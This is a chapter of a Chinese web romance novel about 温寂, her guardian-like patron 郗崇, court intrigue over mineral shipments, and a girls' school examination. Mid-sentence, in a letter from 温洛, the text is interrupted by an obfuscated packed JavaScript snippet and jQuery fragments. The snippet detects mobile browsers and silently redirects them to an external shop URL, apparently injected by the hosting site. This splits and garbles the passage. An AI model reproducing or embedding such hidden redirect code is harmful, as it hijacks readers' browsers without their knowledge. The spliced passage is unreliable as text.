123读书网 > 都市小说 > 爱上万人迷他爹 > 142. 为师
    郗崇突然却毫无预兆地站了起来,转过了身。


    他居高临下地看着她,本就高大的身躯此刻未着上衣便更有一种原始的压迫感。


    眼前的光被一片阴影完全的遮住。温寂还未来得及站起身,已被人骤然打横抱起。


    温寂心里一惊,下意识做的第一件事竟然是慌忙抬手将手上的药膏盖子紧紧合上。


    “唔。”


    下一瞬,她就被丢到了一旁铺了厚软军被的窄榻上。手里的药膏脱落,瞬间不知滚到哪里去了。


    男人沉重的身体如山一般压下来,坚硬的身躯将她纤细的身子完全笼罩在身下。


    一只大掌蓦地钳住了她的颈侧,粗糙的拇指自她纤长的脖颈一路上滑,直至抵住她的下颌,迫使她仰起头来。


    温寂被迫仰望着他。


    郗崇眼底素日的沉肃被一种暴戾的暗涌取代,仿佛下一刻便要将她拆解入腹。


    “温寂。”


    他终于开口,“我也是个男人。”


    不是你的叔父,也不只是郗绍的父亲。


    温寂胸口也因被迫的姿势挺起,上下起伏着。他们的身体隔着薄薄的衣料结结实实的贴在一起,身上的郗崇肌肉传出的温度实在是太热了,又重,压得她有些难以呼吸。


    她没想到平日里怎么勾引都不为所动,今天明明没想着试探却变成了这样。


    这么大的动作,她刚刚给他敷药的地方不知道会不会裂开。


    她小心地挣动了一下,将原本微抬的手臂继续向上抬,穿过他落在她身侧肌肉虬结的手臂,像是被猛兽按在爪下的猎物进行着一种徒劳的挣扎。


    郗崇垂眸,将她所有细微反应尽收眼底。若她有心,现在应该是害怕,他将她纵容的无法无天,总该让她长些教训。


    也或许她与郗绍的事情终究还是让他心底起了波澜,催生出了未曾预料的破坏欲。


    然而,温寂好不容易抽出的双臂,却又向前伸去,轻轻勾住了他的脖颈。


    她以一种全然依从的姿态躺在他身下,眸光盈盈望进他翻涌的眼底,柔软的声音从唇间溢出来。


    “是啊,大人是最英武的男人,所有人都不如你。”


    女子眼眸澄澈,眼中却只能看到他一人。


    这世上惧他畏他的人何其多,她却从来都没有恐惧,似乎她只喜欢他,于是他做什么都可以。


    小骗子。


    郗崇松开了掌住她侧颈的手。


    温寂感觉压在身上沉重感骤然一松,自己的手臂却仍然像是留恋一般,挂在他脖颈上没有放开。


    郗崇撑在她身体上方,眼神深黯,温寂却探不到底。


    他心情不好。


    为什么?


    他的眼底为什么让她看到了一丝难过。


    “我们之间不会是男人和女人的关系。”他说。


    温寂心里似乎也被那丝难过感染了,有些失落起来。


    算了,温寂想。


    没什么大不了。


    她手心温柔的抚着他的肩脊,像在安抚一头躁郁的雄狮。


    “我知道了。”


    她轻声哄他,“大人想要我们是什么关系就是什么关系好不好。”


    郗崇的目光静静与她相对。温寂觉得再这样下去,口中吞下去的情绪就要被他看出来了,她放开手,偏过头,像是终于有些有些承受不住他身上的压迫感。


    她声音低微下去,“大人心情好一点了吗?我帮您包扎吧。”


    郗崇缓缓起了身,温寂躺在窄榻上,衣摆凌乱地铺陈着,像一朵被人强行用指腹揉开的花苞。


    他没再看她,坐回了桌边的椅子上。


    温寂也从榻上坐了起来,理了理衣襟,侧身在榻脚找到了那盒药膏。


    郗崇背上的伤口果然又有些撕裂,温寂重新给他涂了药。


    好在刚刚药膏合上了盖子,没有将里面的药膏弄脏,温寂有些埋怨道,“您不疼吗,您也要注意身体啊。”


    她道,“把纱布递给我。”


    不知为何,郗崇不痛不痒的教训非但没有让她收敛,反而命令起他来。


    郗崇长臂伸出,将放在桌案另一端的干净纱布拿过来,递到她手中。


    温寂将纱布展开,环臂虚搂住了他的腰身。那分明的肌理她刚刚已经感受过了,此时靠近还是觉得有些面红耳赤。


    只男人却显得沉稳冷静,只在她需要的时候配合她的动作,看上去一丝别的波动也无。


    温寂手上轻柔心中腹诽,看来那些年岁果然不是白长的,说到伪装自己还要拜他为师,她都快要真的以为他对自己没有感觉了…


    将伤处包扎好,温寂才坐到一旁的高凳上,看他站起身来穿衣。


    郗崇动作利落,很快便从容地穿好中衣,系上外袍。他身边连换衣伺候的侍从都没有,回京了这么久似乎也没懈怠下来。


    他转身走至她身前,“我让人送你回去。”


    温寂说好。


    她站起身,仰着头看他,“大人最近什么时候有时间?”


    郗崇深邃目光落在她面上,像是在审视她的意图,沉默了一瞬,才道,“若无急务,这几日午后,我都在府里。”


    温寂的视线微垂,落在他腰间包扎好的位置,有些自作主张道,“大人要好好上药,我会去检查的。”


    说罢抬眸,似乎是想得到他的允准,又或者不想在他眼中看到抵触的情绪。


    郗崇没有拒绝。


    ……


    温寂回到府中时,天色已经暗了下来。


    进了屋,便从甘棠手中收到了温洛寄过来的密信。


    信笺封得严严实实,温寂拿着那信笺,坐到书案旁。又有顾谨派来的人传来消息,“小姐,长公主找到李嬷嬷之后,似乎按兵不动,并未采取下一步动作。”


    温寂并不意外,长公主不会轻易相信,牵扯的是几十年前的旧事,自然要找机会探查真假。而且若她是长公主,有了如此可以致人于死地的把柄,必定要一击必中,保证太子方毫无辩驳的可能。


    她点点头,只让二皇子加派些人手,多关注太子和皇后那边。


    侍从领命退了下去。


    待人退出,温寂垂下眼,将手中的信笺裁开。


    温洛熟悉的笔迹落入眼帘,他在信中写道,近来接触了几个顾谨安排的官员,那些矿石几经转手,最后的流向隐隐与永兴商行有关。另外,几处铸铁的商铺也露出了一些线索,他已


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17231869|186864||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    经托了颜清辞帮忙查探。


    温寂看完后将信纸折好,锁进了书案下的暗格,又从一旁取来了近日的女学课业。


    窗外的风带着初夏的暖意吹进来,拂动案头的书页。已经到了六月,再过几日便是她和温棋语结业的日子。


    按照惯例,女学又要办一场考核,贵女们早早便开始准备,想在最后一场比试中表现出色。


    许久不碰琴,温寂便也没有选,只选了诗,马术,棋这三样。


    只她这次没有去打听温棋语选了哪些。倒也不是突然看开了,只是与人相争至少要端正态度,她暂时有些顾不过来。


    ……


    “辞渔,听说你父亲不日就要前往云州赴任了?”


    女学考核这日,又是个晴朗的天气,日光从繁茂的枝叶间漏下来,在林荫道上投下一片一片的光斑。


    三五个身着各色罗裙的贵女正聚在树荫下说话。


    被问到的是一位穿着湖水蓝罗裙的圆脸少女,是太仆寺少卿刘中闻的女儿,名唤刘辞渔。


    她脸上有些兴奋又担忧的情绪,“是呀,旨意前几日刚下。”


    “云州那样远,还要面对外邦人,母亲原想随父亲同去任上,父亲却拒绝了说路途艰辛,任上又恐不安稳。”


    互市的事,如今已是京城里茶余饭后最热的谈资。皇帝前些日子宣布,将互市设在北境偏西的云州,此地距肃州不远,商路往来便利。


    又因互市牵涉甚广,户部礼部兵部皆需协调,皇帝采纳了丞相的建议,设了互市监一职,主持此事,再由三部选派官员协同办理。


    最后负责之人选定了刘辞渔的父亲刘中闻,刘中闻素有清廉干练之名,曾在地方任上主持过茶马交易,经验丰富。


    这任命一下来,刘辞渔在女学中的地位便悄然发生了变化。


    从前她不过是个普通的官员之女,太仆寺少卿虽也是四品,可在京城这地方,四品官遍地都是,实在算不得什么。


    可如今却不同了,有意无意的打探与攀谈也多了不少。毕竟明眼人都能看出皇帝对这次的事情十分重视,丞相亦是十分赏识刘中闻,此番若差事办得漂亮,前途自是不可限量。


    “我前些日子见着跟着明珠郡主入京的那些漠邦随从,倒也不似传闻中那般粗蛮。”


    一个穿杏色衣裙的少女接过话头,语气里带着好奇,“待互市开了,辞渔你可要托刘大人捎些正宗的漠邦首饰回来。如今京里好些珠宝铺子,都出了些新样式,与明珠郡主佩戴的那些有几分相似,都别有一番趣味。”


    “说到明珠郡主,”另一个少女忽然道,“今日她也来了吧?”


    “来了。”一位黄衣少女点了点头,往远处指了指,“好像刚刚看到她和温大小姐在前面说话呢。”


    这话一出,几个少女的目光便都往那个方向飘了一瞬。


    有人羡慕道,“温大小姐可真是什么都走到别人前面。她办那个会同书社,说要研习外邦风物文字时,又有几人能预料到如今京城关注的人这么多?据说好多大儒都专程去找她交谈过呢。”


    却又有人语气里带了些微酸,“毕竟是温相爷的嫡女,眼界自是不同。温相在家中教导,消息自然也比别人灵通些。”